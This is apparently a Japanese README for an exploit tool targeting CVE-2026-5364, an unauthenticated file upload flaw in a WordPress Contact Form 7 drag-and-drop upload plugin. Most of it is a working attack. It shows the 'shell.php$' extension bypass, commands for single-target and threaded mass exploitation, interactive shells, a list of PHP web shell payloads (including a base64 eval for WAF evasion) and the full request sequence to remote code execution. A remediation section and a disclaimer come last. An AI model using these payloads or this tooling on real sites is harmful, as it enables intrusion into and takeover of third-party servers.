
CVE-2026-5364 は、CVSS 8.1 (High) の Unauthenticated Arbitrary File Upload 脆弱性で、Drag and Drop File Upload for Contact Form 7 におけるものです。
| フィールド | 値 |
|---|
| CVE ID | CVE-2026-5364 |
| Plugin | Drag and Drop File Upload for Contact Form 7 |
| Slug | drag-and-drop-file-upload-for-contact-form-7 |
| CVSS | 8.1 (High) |
| ベクトル | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 影響を受ける | <= 1.1.3 |
| 修正済み | 1.1.4 |
| 研究者 | Thomas Sanzey |
| 公開日 | 2026年4月23日 |
プラグインは、ファイル拡張子を sanitize_file_name() によるサニタイズの前に読み取ります。
攻撃者は shell.php$ という名前のファイルをアップロードします:
pathinfo('shell.php$', PATHINFO_EXTENSION) → 'php$' ← ブラックリストをバイパス
sanitize_file_name('shell.php$') → 'shell.php' ← PHPとして保存される
3つの独立した脆弱性の連鎖:
type POSTパラメータがユーザーから読み取られるpathinfo() が生のファイル名に適用されるwp_unique_filename() 内の sanitize_file_name() が $ 文字を削除するgit clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests
requests ライブラリ# 基本エクスプロイト (id コマンド)
python CVE-2026-5364.py -u https://target.com
# カスタムコマンド
python CVE-2026-5364.py -u https://target.com -c "whoami"
# インタラクティブシェル
python CVE-2026-5364.py -u https://target.com --interactive
# 異なるシェルタイプ
python CVE-2026-5364.py -u https://target.com --shell exec
# Verbose + プロキシ
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080
# 20スレッドでスキャン
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt
# 修正済みバージョンも試す
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30
# 結果をファイルに保存
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt
ターゲット:
-u, --url URL 単一ターゲットURL
-l, --list FILE ターゲットリスト(1行に1URL)
エクスプロイト:
-c, --cmd CMD OSコマンド(デフォルト: id)
--shell TYPE ウェブシェルタイプ: basic|exec|pass|eval|info
-i, --interactive インタラクティブシェルを開く
--no-skip-patched 修正済みバージョンも試す
スキャン:
-t, --threads N スレッド数(デフォルト: 10)
--timeout S タイムアウト(秒)(デフォルト: 15)
--proxy URL プロキシアドレス
出力:
-o, --output FILE 結果ファイル
-v, --verbose 詳細出力
--no-color 色なし出力
| タイプ | Payload | 用途 |
|---|---|---|
basic | <?php system($_GET["cmd"]); ?> | 一般用途 |
exec | <?php echo shell_exec($_GET["cmd"]); ?> | 完全な出力 |
pass | <?php passthru($_GET["cmd"]); ?> | バイナリ出力 |
eval | <?php @eval(base64_decode($_POST["x"])); ?> | 隠蔽/WAFバイパス |
info | <?php phpinfo(); ?> | PHP情報 |
1. Nonce検出
└─ wp_localize_script() により全訪問者に公開
GET /contact/ → HTML内に "nonce":"abc123def4"
2. Shellのアップロード
└─ POST /wp-admin/admin-ajax.php
action=cf7_file_uploads
nonce=abc123def4
type=php$ ← ブラックリストにない
file=shell.php$ ← sanitize_file_name() → shell.php
3. URL取得
└─ Response: {"status":"ok","text":"https://target.com/wp-content/
uploads/cf7-uploads-custom/6831a2f4b3c12.php"}
4. RCE
└─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sanitize_file_name() によって削除される文字:
$ % ~ ` (スペース)
このツールはすべてのバイパス文字を自動的に試行します。
| 要因 | 影響 |
|---|---|
Apache .htaccess (Content-Disposition: attachment) | PHPの実行を防止 |
| Nginx / LiteSpeed | .htaccess 無効 — RCE可能 |
ランダムなファイル名 (uniqid()) | AJAX応答がURLを返すため 無効 |
| Nonce | CSRF保護 — 認証ではないため 無効 |
プラグインをバージョン 1.1.4 以降に更新してください。
# WP-CLIで更新
wp plugin update drag-and-drop-file-upload-for-contact-form-7
// 間違い (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
// 正しい (1.1.4)
$clean_name = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);
// typeパラメータは管理者設定から読み取られるようになりました
$type = $this->get_admin_allowed_types($form_id); // POSTからではありません
このツールは教育および防御目的のセキュリティ研究のために開発されました。許可のないシステムでの使用は禁止されており、法的な結果を招く可能性があります。許可を得たシステムでのみ使用してください。